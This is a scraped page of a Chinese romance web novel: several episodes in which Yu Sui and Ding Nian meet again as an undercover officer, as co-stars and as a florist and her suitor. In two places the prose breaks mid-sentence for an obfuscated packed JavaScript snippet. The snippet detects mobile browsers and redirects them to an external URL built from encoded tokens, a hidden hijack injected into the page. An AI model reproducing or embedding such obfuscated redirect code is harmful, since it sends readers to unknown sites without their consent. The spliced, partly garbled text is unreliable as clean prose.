虞岁没有半点犹豫和畏惧,她目光紧紧锁住对方持刀的手,瞅准时机,猛地向前一冲,先是用木棍挡开了对方挥来的小刀,然后一记凶狠的肘击,重重地砸在了对方的下巴上。 蓝毛惨叫一声,手中的小刀“哐当”一声掉落在地,他捂着下巴,疼得在地上打滚。 虞岁就像一台不知疲倦的战斗机器,在人群中横冲直撞。 她身形迅疾,下手狠厉,不讲章法,却带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033535|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着遇神弑神遇鬼杀鬼的气势。 那些原本还嚣张跋扈的人,此刻在她的攻击下,纷纷抱头鼠窜,被打得毫无还手之力。 不一会儿,周围便躺倒了一片人,他们一个个都痛苦地呻吟着,再也没有了之前的嚣张气焰。 就连刚刚围观的人群一窝蜂的作鸟兽散,唯恐被收不住手的虞岁波及到。 丁年看着这样的虞岁,突然觉得今天死在这都值了。 他的虞岁,他一见钟情的女孩子,他心心念念的女王,披着夕阳的余晖,带着势不可挡的孤勇,满身狼狈却美的发光的冲他伸出一只手,温柔的擦拭过他的脸…… 虞岁突然意识到,她不能容忍丁年在她面前落魄潦倒。 这个面对她会耳朵红红的男孩,这个对自己的处境毫不在乎却会因她大打出手的男孩,这个望着她的眸子里总是带着星星的男孩,他应该拥有最好的一切,应该永远骄傲发光。 她不想要月亮,她只想要丁年眼里的星星一直看向她。 不远处有学生大喊一声,“差佬来了”…… 一众古惑仔跌跌撞撞的爬起来想跑,虞岁从口袋里拿出证件,走到他们面前,大声呵斥着:“不许动,警察,一个都不准走!” 警方赶到现场的时候,就看到蹲成一排抱着头的古惑仔……倚靠着墙的丁年……和叉着腰气势汹汹的虞岁…… “大佬啊,再晚来一会要吃夜宵啦”,虞岁抱着手臂吐槽着为首的蔡警司。 蔡警司故作严肃的横了一眼虞岁,“没规矩”,然后指挥着下属把那排古惑仔铐起来录口供。 虞岁不痛不痒的敷衍了一句:“是,阿sir ”。 转身走到墙角,“走吧书包仔,我带你去医院”。 蔡警司从刚刚就一直在打量丁年,越看越觉得眼熟,他从口袋里拿出一张折叠的文件,是大陆公安部申请两地联合侦查的通告……有很多问题想问,但眼下显然不是合适的环境和时机。 “虞岁,你先把……这位同志……安顿好,晚一点我会去医院找你们” 虞岁听到这声同志,满脸的不解,看了看蔡警司又看了看丁年,最终什么都没说,拉着丁年上了车。 一系列检查做完,丁年只是皮外伤,虞岁暗暗松了口气。 等到病房里只剩下她和他的时候,虞岁清了清嗓子,丁年瞬间正襟危坐的看向她…… “姓名”,虞岁瞬间进入流程,一副公事公办的模样。 丁年叹了口气,无奈的笑笑,“丁年”。 “年龄” “26” 虞岁一脸惊讶,“26?26你扮什么高中生?” 丁年清咳了声,“跟你一样”,看着虞岁的表情,又补了一句,“抱歉,具体细节我不能透露,但大概就是你想的那样” 病房内有短暂的寂静,只能听到两人的心跳声。 “那你”……“那我们”……两人同时开口。 “你先说”,丁年温柔的看着虞岁。 “那你?要走了么? “嗯,等把手里的东西给你的上司,我就要离开了” 虞岁觉得心里有点堵,“丁年,换你说了”。 丁年笑了笑,“我还是喜欢你叫我书包仔,我们……下次再见面我再继续这个话题”。 丁年顿了顿,有些话,现在说,没有结果,太仓促了不会有完美的结局。 “嗯,下次再说吧,山高水长,赶路要紧,如果我们是对的,总有结果”…… 后来的1218个日日夜夜,丁年无数次都在复盘那天的对话,那天虞岁的一颦一笑,无比后悔当时没有再勇敢一点,再坚决一点。 笃笃笃……清脆的敲门声响起……打断了丁年飘忽的思绪…… “进” “丁局,这是红港回归后,那边总局派来了解工作的同志”,秘书的声音不高,却像一道惊雷,在这略显沉闷的办公室里炸开。 丁年正低头审阅文件,听到这句话,手中的笔猛地一顿,一滴墨水洇在纸面,晕染出一小片深色的污渍 。 尘封已久的心突然狂跳起来,那股悸动来得如此猛烈,仿佛要冲破胸腔。他缓缓抬起头,目光直直地望向门口…… 阳光下,是他藏在心尖的那朵石榴花,即使几经时间打磨,依旧常开不败。 “书包仔,好久不见” 虞岁语笑嫣然,盈盈站在他面前。 “好久不见,余生请多指教” 他终于,得偿夙愿。 故事的开始,是她站在光里,他被光所诱惑;故事的最后,是她逆光而来,带他找回所有美好。 后来,她挽着他的手臂,在高朋满座中,听他将爱意讲述到极致。 “爱是常觉亏欠。 想对你说一声抱歉,遗憾的是我不会魔法凝固时间,无法让距离刻画你眉眼。 跟你相识那一天,是我一生中最幸运的时间。 从前我也有抱怨,对我不公的苍天,为何把所有的不幸带到我身边,遇到你之后我才发现,熬过了那些不幸全部是为了最初遇见你的那一面; 那一年,那一天,那一刻,那些后来,那些美好,那些惊心动魄,都是绮色回忆中无法凋零褪色的瑰丽胶片。 一幕幕,一帧帧画面,时常回荡在我脑海里面,很抱歉,我给你的只有匆匆的时光碎片。 想对你说一声抱歉,错过了你那么多我想了解的瞬间; 想对你说一声抱歉,蹉跎了大把的时间,那些我本该一早拥有的时间; 你知道,来时路,我的辛苦;我懂得,来时路,你的无助。 所幸,时光尚好;承蒙,爱人不弃;感恩,上苍眷顾。 虞岁,我们的故事永不落幕。 最后,感谢大家盛装出席,来参加我和她的婚礼 谢谢侬笃穿得介体面来参加阿拉额婚礼 ”。 “丁年,三年前我说过,对的,是结果,也是结局。我和你,这一次,要一直站在光里。 你说要用一生哄我,要说话算话呀”。 “荣幸之至,丁太太” 3. 丁年哥哥,你的粉丝又骂我了 “岁岁,这是你丁年哥哥,是你……丁阿姨的独生子,可能会在咱们家住一阵子” 虞岁父亲的声音打破了屋里静谧安逸的氛围。 彼时虞岁正沿着楼梯款款走下来,听到这话,她站定不动,停在楼梯中央。 “呵,丁阿姨啊” 她打了个哈欠,抱着手臂侧过身慵懒的倚靠着扶手,俯视着下面的丁年,眼里尽是玩味,目光肆无忌惮的打量着他…… 从她的视角位看过去,丁年身形颀长,一件白色衬衫恰到好处地勾勒出他挺拔的身姿,领口微微敞开,露出精致的锁骨,带着几分禁欲的气息。 下身那条黑色西裤,熨烫的妥帖,更衬得他双腿修长笔直,身姿笔挺如松。 西装外套随意搭在手臂上,挽起的袖口漏出一截手臂,结实的线条一览无余。 手背上的青筋若隐若现,修长的手指轻轻推了推金丝眼镜,用一种难以捉摸的眼神望向她…… 漆黑的眼眸深处像蕴藏着引人入胜的漩涡,给人一种,「他专注看着你的时候仿佛你就是他的全世界」的错觉,让人忍不住想要摇晃着的他的肩膀确定答案。 虞岁嘴角缓缓勾起一抹意味深长的笑,那笑容里带着与生俱来的骄纵恣意和玩世不恭。 她语气轻佻又满含调侃:“哟,晚上好,我的继兄”。 这副作派,仿佛将这次见面当成了一场无关紧要的闹剧,浑身上下散发着一种漫不经心的劲儿。 丁年微微仰头看着台阶上的虞岁,奢华精致的水晶灯投射出绚丽的光芒,她站在光影之中,举手投足间尽是拒人于千里之外。 偏偏她嘴角挂着恰到好处的假笑,让人一时无可指摘她眼底藏着的轻蔑和冒犯。 明明一副娇憨刁蛮的模样,丁年却看的心头一软,不自觉的就笑了。 紧接着,他那低沉又富有磁性的声音响起:“好久不见,岁岁”。 虞世东察觉到两人之间的微妙,疑惑的问:“这……岁岁,你们认识?还有,什么继兄?胡闹!” 虞岁横了他一眼,“他,丁年,是我上部戏的男主角,而且还是二搭,拜托您也在周旋于万花丛中的同时稍稍关注一下您,唯,一,的女儿好么?” 虞世东不自在的轻咳了声,“越大越像小孩子了,什么万花丛,好了,既然你们认识,以后要好好相处,我还有事,先走了”……“林嫂,给丁少爷打点好一切”,虞世东叮嘱好身后跟随的佣人,快步走出别墅。 虞岁一步一步走下台阶,在最后一阶台阶停住,“好久不见?不久前不是还在直播的时候见过面么?我可还记得你熬夜背的那些烂梗”。 “你也说了是不久前” “你怎么来了?” “家里住不下” “住不下?你藏女人了?”,虞岁的声音陡然提高。 丁年眨眨眼睛笑了笑,“你猜呢?” 虞岁就服他一本正经胡说八道的样子,“那你要不要自己听听你在说什么鬼话?” “杂志太多,摊的到处都是” “哦,你是在抱怨?”,虞岁睨了他一眼。 丁年扶了扶镜框,深深的看了她一眼,“你没听出来么?我在跟你炫耀”。 虞岁的嘴角抽了抽,在心里紧急吐槽,有什么好炫耀的,1218套杂志都是她,又不是买了什么金山银山,“哦,你好厉害啊”。 丁年听到这话挑了挑眉,“嗯,还不错”。 看他这样虞岁就知道了,这哥又暗爽了。 “很晚了,我要睡了,你自便吧”,虞岁说着转身上楼向房间走…… 丁年站在楼梯下面看着虞岁摇曳生姿的背影,目光幽深,终于在虞岁的身影快要消失在楼梯口的时候,他突然开口:“直播的时候你说的很对”。 虞岁转回身遥遥看了他一眼,灯光下他的脸有种不真实感,“我说的对的多了,你指哪句?” “有时候你跟人家呆在一起的时候,不一定能发现她的好,但是你回家回到家里的时候,去回味她做的一些事情,反而那个感情更容易升温”,丁年的声音像缓缓拉动的大提琴,流泻出来的是醇厚的情绪。 虞岁饶有兴致的为他鼓了鼓掌,“嗯,记忆力不错,所以呢?拜托大哥你说重点,还有九个小时我就要赶飞机去参加,你,和,我的团综” 丁年一步一步走上台阶,一步一步走向她,“我想说,这一次,我们来日方长”。 这是虞岁今晚第一次正视他的眼睛,他跟三年前比起来更沉稳了,不论是气质还是眼神。 经过漫天流言蜚语的洗礼和岁月的沉淀,整个人像是打磨好的、静待出鞘的刀锋,有一种无声的侵略感。 也熟透了,轮廓中隐含着成熟男人的魅力。 “嗯,那你加油,晋江男孩”…… 三天的团综很快就结束了,不得不说节目组是有高人指点的,也不知道是哪个优秀的思维鬼才想出来的点子,晚宴布置用的婚礼策划。 看到盛装出席迎面走来的丁年,虞岁是有瞬间失神的,这几天相处下来,她总能接收到他那些不自知的、无处安放的魅力。 当一个男人对自己没有清醒的认识,自认为很帅的时候,那就是他油的收拾收拾够炒三顿菜的时候。 而丁年恰恰相反,他永远是清透的,时不时还带点反差感的清冷年上气息,不经意间还有种懵懂的少年感,几种不同的风格碰撞、糅杂,重塑成独一无二的他。 是让她忍不住想要逗弄的他,“今天穿的这么隆重啊?丁年哥哥”。 “因为要配你啊”…… 虞岁一时语塞,这个男人,越来越会了,从前怎么没看出来,他这么会撩人。 就这种超绝不经意又无孔不入的撩,最为致命。 “在想什么?”,在接她下台阶她的手挽住他的时候,他笑着问。 “你这无形撩人,有点超标了” 丁年挑了下眉,“那你脸红了么?” “什么?这有机位啊大哥”,虞岁脸上挂着笑,咬着后槽牙提醒他。 丁年不以为然的笑笑,“前天不是还对着我唱了么?你不要这样的看着我,我的脸会红成红苹果,说形容我很撩人”…… “丁……年……” “我在”,丁年可太喜欢看她脸颊红红气的磨牙的样子了。 所以他会恶趣味的对着她贴脸玩梗,还要欠的不行的看她的反应; 他会恶趣味的在密室的时候突然出现在她身后吓她,被她掐着脖子倒退也觉得暗爽,偷偷回味这种暧昧又微妙的氛围; 他会恶趣味的拿着她害怕的海产追着她跑,这是属于他和她的打情骂俏。 微妙,暧昧,暗恋,怜爱,爱恋,恋爱,相守,是一个循序渐进又可能一蹴而就的过程。 好奇就是一种微妙的情绪,对一个人的喜欢往往从好奇开始; 而想要进一步就会暧昧,暧昧不明的态度,就是暗恋的开始; 暗恋就是无数次的试探,试探对方的态度、可接受度、接受上限的点在哪里; 当想要深入了解开始,就有怜爱的成分在了; 怜爱一个人的尺度越来越大,为之开放的底线越来越低,接受度没有上限,分寸拿捏不好,控制不住想要更近一点、再近一点的时候,就沦入爱恋了; 喜欢是不理智的;爱恋是会深思熟虑、反复推算的,因为恋爱容易相守难。 都以为一段好的感情,需要靠告白,烟花,月亮,靠那一束跋山涉水带来的玫瑰,靠一千个不如意时刻的惺惺相惜和一万次的相拥哭泣; 其实,长厢厮守,要靠两个很好很好的人,要靠两颗足够赤诚又强大的心,要靠良心。 “你尝尝这个,这个好吃”,虞岁自然的把盘子里的扇贝夹到丁年的碗里。 丁年就势夹起,尝了一口,“嗯,好吃”…… 结束环节每个人说了自己的想法,轮到丁年的时候,他有些哽咽,没办法他就是这样一个内心柔软、共情能力强的人,“我预测,我会在全部结束之后,很想念大家”。 这一次虞岁没有调侃他,“你眼眶红了”,她安抚的轻轻拍了拍他的手臂。 那晚的最后,丁年站在满天绚烂的烟花下,身旁站着虞岁……他和她在烟花下,月光里,手牵着手,眼前炸开的烟花是如星河般璀璨的光,照亮来时路,照亮下一程。 天边月胜过来时月,身旁人是久住心上人。 丁年再见到虞岁是几天后,她窝在沙发里,神情落寞,察觉到她的情绪不太正常,他松了松领带坐到她身旁,“怎么了?” 见她不接话,他掏出手机点开社交平台,过了一会,他放下手机,捏了捏眉心,“岁岁,还好么?” 虞岁幽幽的叹了口气,“还能扛住”。 “做你想做的,挺不住了跟哥哥说,哥哥养你”…… 有时候一个人的承受能力真的很强,可能连自己都不知道会被压垮的点在哪里; 但有时候人的承受能力又很脆弱,身边没人的时候还能挺住,一旦被人轻声细语的安慰、体会到有人撑腰的感觉,那股劲儿一下子就泄了…… 虞岁的心像被温暖的触手揉了一下,她慢慢坐起来抱住了丁年……闷闷的说:“我不要谁养我,我就要自己好好工作,我就想好好做一个演员……” 感受到怀里的柔软,丁年僵了一瞬,然后轻轻摸了摸虞岁的头,“好,好好工作,好好做演员,都会过去的,会好的……你要想想在乎你的人,夸你的人……” “谁夸我啊?都没有人夸过我……” “我夸你,岁岁是这个世界上最美好最可爱的人”…… 虞岁像是突然想到了什么,笑出了声,她离开他的怀抱,抬头看着他:“想亲么?” 骤然变得空荡的怀抱有种失落感,她终于笑了的脸放大在眼前,丁年舔了舔嘴唇,也不说话,只是静静地,深深的,让人读不懂眼中情绪的看着她…… 虞岁没来由的想到一句话,「对视,是人类不带任何情欲的精神接吻」…… 然后她有些不自在的别开了眼神,“谢谢你啊,我好了,你休息吧,我回房间了……” 她起身离开的一系列的动作很有些落荒而逃的意味。 留下丁年坐在沙发上,静静复盘着刚刚那个不真实的拥抱。 从这个拥抱开始,有些东西渐渐变得不一样了。 跨年晚会那晚,他和她有不同的节目,表演完之后他和她碰面,从台下走到台上,不长不短的一段路,他和她之间萦绕着旁人插不进去的氛围。 丁年走在前面,虞岁像个小女孩一样亦步亦趋的跟在他后面,在台上站定之后,虞岁一个不经意的碰撞,暗爽的是两个人。 虞岁左顾右盼想了又想,犹豫又期待的捂着嘴对丁年说:“我右边脸好看,你站到我左边来,不然我不能跟你说话了……” 要说丁年是什么类型,是对虞岁的有求必应、言出必行。 接收到她的话,他看向另一个男演员,简单商量了一下,也不等男演员反应,身体先动换到虞岁的左边位置,还要宠溺又得意的对她说:“换啦”……笑容里那种夸夸我啊和看我厉不厉害的神色压都压不住。 虞岁感觉到他满脸写着又没说的话,轻轻拍了拍大腿对他竖了个大拇指…… 倒计时钟声响起的时候,丁年悄悄的对虞岁说了句:“岁岁,欢迎你陪我来到我和你的第六年。” 虞岁害羞的捂住了脸,轻轻握了握他的手…… 晚会结束后她和他一起去和姐姐姐夫聚餐,四个人就像是浪漫的疯子,想到一起走过坎坷的来时路,所以决定在新的一年伊始给足彼此仪式感…… 把酒言欢后回到家已经是凌晨了,虞岁端着水和药敲开了丁年的房门,“给,生病了也不知道吃药,你到底会不会照顾自己啊?” 丁年笑了,笑的狡黠,“不太会,所以需要你照顾…” 虞岁白了他一眼,“我还不够照顾你?我都还没有像对你这样照顾过哪个合作的男同事。” 丁年接过药吃下去,喝了口水,“就只是合作的同事关系么?” “那你觉得呢?” “你是我的贵人伙伴。” “那是什么意思?” “你以后会明白的。” 虞岁掏出手机举到他面前:“不说这个了,你看,丁年哥哥,你的粉丝骂我了……” 丁年其实是有些发怵她叫他丁年哥哥的,这代表着她的调侃和不满,撒娇的意味不太多。 他想了想,顺着她往下说:“是啊,我也很头疼”。 “怎么说?” “她们骂一次,我就要哄你一次,哄着哄着我也会委屈的想起我也被骂了,我一委屈你还要哄我,看你哄我,我还要加大力度再哄你……”,丁年像说绕口令一样说了一大串。 虞岁有些想笑,“算了,我也没有生气,被骂其实也是工作的一部分。” 丁年郑重其事的看着她:“我说过,即使不是惹你生气,一生也要多哄哄你。” 虞岁沉默了一下,问了句:“你喜欢我?” “不,是心疼,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当听到她在台上提及自己名字的时候,丁年的心跳的像要冲破胸腔,他勇敢的公主在用她的方式为自己正名……所以他告诉自己,不能逊色…… 所以他站起来,一步一步跨越人海走向她,他要去接她,去接他的星星…… 他要去回应她的勇敢,他要告诉她,她在,他也在,他一直在,他要用自己的方式表达坚决。 他和她的距离,近的只有短短十几步,却是需要他几个深呼吸才能到达的距离; 他和她的距离,远的像是隔着山海,但他会用他的方式告诉她,所爱隔山海,山海亦可平。 其实丁年是有忐忑的,他怕虞岁不接受这种示意,还好,虞岁惊喜的笑脸,虞岁觉得他浪漫,虞岁轻轻勾了他的掌心……他接她下台,随后跑开,他把温柔给他的公主,却不想抢掉她的高光。 虞岁知道很多人都觉得丁年是胆小鬼,但她知道,丁年不是,她的丁年不是。 她听到了丁年站在台上领奖的时候,提到的那个贵人伙伴,她懂,这是她和丁年之间的不一样,跟以往不一样的,跟给别人不一样的。 所以在工作人员提出互动的时候,她大大方方的同意了,她想了想,还是想要丁年给她例外,所以她问他要不要为自己打歌…… 是为我,不是帮我。 然后她就确定了,他愿意为她。 而她给他的回应是跟他对唱,为一切后续埋下伏笔…… 人生很多时候往往有一个瞬间就够了,何况她和他之间有这么多瞬间。 虞岁第二次领奖的时候,丁年早早的做好准备第二次接她,他从未权衡其中的利弊得失,只知道这份冲动让他隐隐为之疯狂雀跃,他叹服于这种感觉。 主持人的一句等一下,慢下来的是两个人,是她,还有他。 接她,去接她,这次丁年要用跑的去接她,他怕错过接她的台阶,怕错过时机,也怕错过她,在那短短的十几步里,在他几次的深呼吸里,一步比一步走的更确定,更坚定。 虞岁只觉得这一晚的空气都是浪漫的,丁年第二次来接她,她明白了他是真的坚决。 所以她拍了拍他的手臂,跟他说,一起走,这一次,我们一起走,哪怕前路未知,山水万程。 最后的领奖环节,丁年握着虞岁的手臂,陪她上台,他想陪她稳稳地走每一步,走向领奖台……走向未来。 漫天纷飞的彩带里,丁年抬手接、弯腰捡,他要把他满意的星河送给虞岁。 虞岁接过丁年叼在嘴角的彩带,异常认真的对他说:“我要你永远记得,以后的每个获奖时刻,都会想起我在台下为你唱的歌;以后的每一次跨年,都会想起那年晚会我与你同台并肩的独家快乐;以后站在每一场漫天飞舞的彩带中,都会想起你为我接过的、为我捡过的这片星河。” 丁年没有说话,珍之重之的望着她点点头。 即使是丁年没有说话,但虞岁好像看到了他的心在跳。 短暂的相聚之后就是分别,收拾好情绪奔赴下一程…… 又一个活动上,丁年和虞岁已经不止是没有同台了,两个真诚的人,两颗赤诚的心,在名利场里是另类,无论说什么做什么都会被恶意揣测。 见过她和他的互动,后来者再怎么模仿,都是东施效颦,寡淡无味。 丁年和虞岁就是不会被容忍的存在,是碍眼的存在,是天打雷劈的一对。 所以活动结束后,铺天盖地的骂名一波接着一波,各方都参与了这场围剿般的狂欢…… “丁年哥哥,你的粉丝又在骂我了……”,虞岁看着几次撤下去又几次冲上来的热搜,就知道这是针对她和丁年的局。 “嗯,要公开么?可以公开么?”,丁年殷切的看着虞岁,“你知道的,我年纪也不小了……” “丁年,再等等” “听你的……你别生气” “我没生气,我说过了,这都是工作的一部分” 丁年叹了口气,“不介意?那你买这么多杂志干什么?铺床么?” 虞岁下眨眼睛给他科普:“1218是你给我的不轻易宣之于口的爱意;1210是我给你的不轻易为外人道的托举,从此后我的生日里有你杂志的影子,你的半小时战报也有我的一份力。” “就是宣示主权对么?岁岁,我有时候在想,真希望你见过所有风景之后依旧能看到我,只看到我。” “丁年,我见过最美的风景了,在你眼中。” 我们的故事,未完待续…… 4. 我他妈还想爱你!我爱你! “丁年,这封情书……” “抱歉,我有喜欢的人了”。 好友的话还没说完,丁年的目光已经越过她,落在旁边的虞岁身上。 那一刻,虞岁感觉整个世界仿佛被按下暂停键,只剩下丁年斩钉截铁没有丝毫犹豫的拒绝,循环在耳边,铺天盖地的羞耻与难过将她淹没。 “小心!”,甚至来不及细想,身体已经比大脑先一步做出反应,虞岁不假思索的扑过去推开了丁年…… 破空而来的标枪带着巨大的冲击力重重的掠过虞岁的右耳…… 呵,又梦到了呢…… 快两年了,虞岁还是不时会梦到大学时候的场景,那时候好友是丁年的迷妹,在得知虞岁喜欢丁年的第一时间就撺掇虞岁表白。 虞岁想来想去决定选择情书这种含蓄又浪漫的方式。 本来是想正式到底、通过邮寄的方式寄给丁年,但是好友特别想在第一现场围观丁年的反应,谁能不好奇对身边异性进退有度不假辞色的男神接到情书的反应呢? 所以在她的软磨硬泡之下,虞岁答应她让她陪自己一起把情书给丁年…… 后来仔细想想,也没什么特别的,跟所有的青春疼痛文学一样,爱不得,求不得,满心酸涩。 故事的开始,是年少时的欢喜总是义无反顾,故事的结果是虞岁的世界只剩下漫天的轰鸣声不绝于耳…… 怎么会不遗憾呢?那场意外的最后,虞岁放弃了本来喜爱的设计领域,逃离了原本开辟的疆土,逃离了亲朋好友的叹息和怜悯,逃离了……有丁年的世界…… 选择偏安一隅经营一家花店,她决绝的切割掉过去的一切,连同曾为某一人牵动的情愫和跳动的心。 叮,迎客铃在开门的同时被风卷起一阵脆响…… 眼前人逆光而来,闯进虞岁苍白的世界,光影交叠的画面是无数次出现在她梦里的脸…… “好久不见,虞岁”,丁年的声音像是从过去的空间里传过来的。 虞岁的心在这个瞬间像是被涂满柠檬汁的手大力握了一下,酸涩感从胸腔蔓延到口腔…… 她张了张嘴,第一次没有说出话来,右耳中响起丝丝缕缕的轰鸣声…… 她有些无力的抬手取下助听器,调整了一下,换了个舒服的姿势重新戴上,平复了一下呼吸…… 官方式的问他:“欢迎光临,请问需要点什么?” 丁年沉默不语的、一寸一寸的打量着虞岁,像是要把她刻画进脑子里。 时间不知道过了多久,在虞岁快要失去耐心的时候,他终于开口,声音里有几分沙哑:“11朵海棠花。” 虞岁快速思索了一下花的位置,随后径直走过去,一边取出保存的鲜花,一边问他:“包装材料和配花有什么特定要求么?” “不要配花,只要11朵海棠花,包装材料选你这里最贵的。” 啧,真有钱,虞岁暗自感慨,有些分神的悄悄看他一眼,他比从前更让人捉摸不透了。 想当初,系里的女生是怎么评价丁年的呢?说即使他平时不苟言笑,也能想象到他将来对另一半会有多么鲜活,肯定是笑有宠溺感,哭有破碎感,生气有傲娇感,或许连冷脸都是人夫感。 甚至还有人猜测,他接吻的时候会不会摘眼镜……以至于纷纷前赴后继,想要摘下这朵高岭之花…… 他的视线直直撞到了她看他的视线上,轻轻勾了勾唇角,“虞岁,我们多久没见了?” 虞岁错开视线,低下头专注于手上的事,有一搭没一搭的说:“两年了吧。” 丁年坐到她对面,解开西装外套的扣子,看着她,慢悠悠的说:“720天。” 等了等,看虞岁面无表情的没有搭话,又说:“你知道海棠花的花语是什么么?” 虞岁抬头看了他一眼,心说你这不是废话么,干一行爱一行,我能不知道每种花的花语? 但她也只是看了他一眼,低头继续忙活手里的包装材料,一副‘请开始你的表演’的样子…… 他清越的声音响起,“海棠花,又被称为断肠花,相思断肠,寓意着酸涩的恋情和离别之苦,也在一定程度上传达了对重逢的期盼和欣喜。” 虞岁忙完最后一个步骤,把花轻轻推过去…… 丁年又追问着:“我说的对么?够准确吧?” “嗯,你好厉害啊”,虞岁站起来,不咸不淡的回答。 丁年微微挑眉,掩唇笑了笑,也跟着站起来,“虞岁,你……还好么?你的耳朵……” 不等他问完,虞岁打断了他接下来的话,“一共1100,现金还是扫码?” 丁年扶了下镜框,“扫码。” 接着,手机提示音响起,某信收款,1218元。 1218,是虞岁的生日,她觉得不是偶然,所以丁年这个操作她就看不懂了。 “先生,我这里不支持退款,你还有什么需要的么?” “办卡。” 虞岁慢腾腾的拉开收银台的抽屉,取出张代金券递给他,“签个名,收好。” 丁年接过代金券和笔,迅速的签好名字,把笔递回去,又掏出手机,“虞岁,我们加个联系方式吧。” “不好意思,我不玩社交平台,平时都是用小天才电话手表,你有么?我们碰一下。” 丁年一愣,收回手机,“好吧,明天见。” “慢走,欢迎下次光临”,虞岁又是那副官方性的口吻。 丁年没有再说什么,转身拿起包好的花走出花店。 等他走了,虞岁才抬头看向门口,思绪有些飘忽…… 其实仅仅是那场被掐断的暗恋和突如其来的意外,还不足以让虞岁满心破碎。 当年,她决定离开之前,曾想过见丁年一面,她想亲口告诉他,她曾对他的满腔爱意。 即使没有结局,她也想让丁年知道她为他哭过笑过伤心过感触过的瞬间,她想给自己这段珍之重之又无疾而终的感情划上一个完美的句点。 从此山水不相逢,就当从未与君相识。 但当她站在他实验室的门口时,就看到他抱着一个美艳动人的女人,眼里的温柔缱绻都要溢出来…… 事已至此,还有什么好说的。 他没有错,他只是不爱她。一个人不爱你有什么错呢? 既然从头到尾都是一个错误,就该把错误纠正过来,再重逢就该保持距离, 各自在自己的位置上,守好自己的心。 等到虞岁晚上打烊的时候,就看到门口的篱笆里放着一束包好的花,11朵,出自于她的手。 海棠花在朦胧月色下无声绽放,夜风轻轻吹拂,仿佛能听到风中传来了白日里丁年说的那句海棠花的花语…… 爱别离,思不得,苦断肠。 她摇了摇头,不能想了,就这样放着吧,就这样吧…… 第二天,同样的午后,丁年又来了,他看上去有些疲惫,进门之后窝在沙发里,摘下眼镜,揉了揉眉心…… 虞岁收回视线,依旧是官方式的言辞,“欢迎光临,请问有什么需要?” “11朵茉莉花,不要配花,包装材料要最贵的”,丁年说完,从口袋里拿出一个电话手表,接着说,“今天能碰一下。” 虞岁手上不停,“不好意思,我的电话手表在家里充电。” 丁年抿了抿唇,没有再说什么,一室寂静,只有虞岁手中摆弄着包装偶尔发出一声轻响…… 整个过程中,虞岁能感觉到丁年的目光一直在注视着自已。 他的目光跟他的人一样,有一种隐隐的侵略感。 却又不会让人不舒服,他就是单纯的用目光笼罩着她。 “好了,1200元”,虞岁把包好的花递给他。 丁年接过,扫码扫了个1314。 虞岁从善如流的取出一张代金券递给他,丁年没有接,而是把电话手表给她,“这个放你这,多出来的就当保管费,等你什么时候想碰一下的时候,方便。” “好的,慢走,欢迎下次光临。” 丁年拿着花,走到门口的时候,停了下,轻声说了一句,“送君茉莉,望君莫离。” 说完也不等虞岁有什么反应,或者说他压根也没指望虞岁能有什么回应,推开门就走了。 跟昨天一样,等晚上打烊的时候,虞岁又在昨天的同一个位置看到了那11朵茉莉花…… 第三天,11朵风铃草,虞岁是真的很想告诉自己这一切的只是巧合……但是丁年偏偏在临走前状似不经意又非常刻意的留下一句风铃草的花语,永远的等待。 而且他像是已经掌握了规律,钱都是直接刷1314。 第四天,11朵黑色郁金香,骑士精神,无望的爱; 第五天,11朵白玫瑰,我足以与你相配; 第六天,11朵白色桔梗,真诚不变的守护; 第七天,11朵白色石楠,守护你; 第八天,一大束满天星,我携满天星辰送与你,却仍觉星辰不及你; 虞岁终于有些忍不住了,连续的在她这里买了花又留下,连续的1314,连续的花语,还都是捡了11朵这个数字…… 她很有必要问一下,这种情况下问了也不算是自作多情了。 第九天,丁年踩着点就来了,“11朵薄荷花……” 虞岁打断他的话,“又是老样子的包装又是1314么?还有,薄荷花的花语是永不消逝的爱,我愿与你再次重逢相爱……丁年,我们聊聊吧。” 丁年推了下眼镜,点点头,坐到她对面,“好,你说。” 虞岁轻抬下颌示意他看窗边那一排他这几天留下来的花,“这些,不是偶然,是你有意为之。” “不然呢?”,丁年倒是也不扭捏。 “理由” “我表现的还不明显么?我在哄你啊。” “我不认为我们的关系可以用到哄这个字”,虞岁耸耸肩。 “很显然,我在追你”,丁年挑了挑眉。 虞岁突然坐正了身子,神色严肃的说:“丁年,我和你,不合适。还有,我索性把话说的明白些,如果你是因为两年前那场意外,对我感觉到愧疚,大可不必,你有那份心那份钱,应该直接去做慈善,现在聋哑基金很需要你的财大气粗。” 丁年就笑了,“放心,慈善我一直都在做。对你,也不是愧疚,我还没有那么泛滥的同情心,我现在是个奸商。” 虞岁深深的看了他一眼,他的眼睛像是世上最漂亮的琉璃珠子,真想给他抠出来,她忽然就有些倦了,右耳又开始嗡嗡响,“丁年,我们不可能的。” 丁年没有接她的话,自顾自的说着,“耳鸣,是神经性失聪常见的并发症,还会有眩晕,平衡失调的症状,听觉过敏,表现为对正常环境声音的耐受度降低,轻微的声音也会引起不适,甚至疼痛。这是因为听觉系统受损后,其对声音的调节功能出现异常,言语辨别率也会下降……” “打住,所以呢?”,虞岁抬手示意他可以了,这些话,两年来已经有无数的专家给她重复过了。 她就不明白了,丁年是准备考研做学术论文么? 丁年下了一个结论:“所以,我想要照顾你。” 虞岁叹了口气,“丁年啊,省省吧,我说了,我不需要任何人可怜我。” 丁年不听,丁年继续说:“长期的听力障碍会导致患者在社交场合交流困难,容易产生自卑、焦虑、抑郁、执拗等心理问题,从专业角度讲,这属于神经心理方面的并发症,影响患者的心理健康和生活质量。” 虞岁白了他一眼,气笑了。 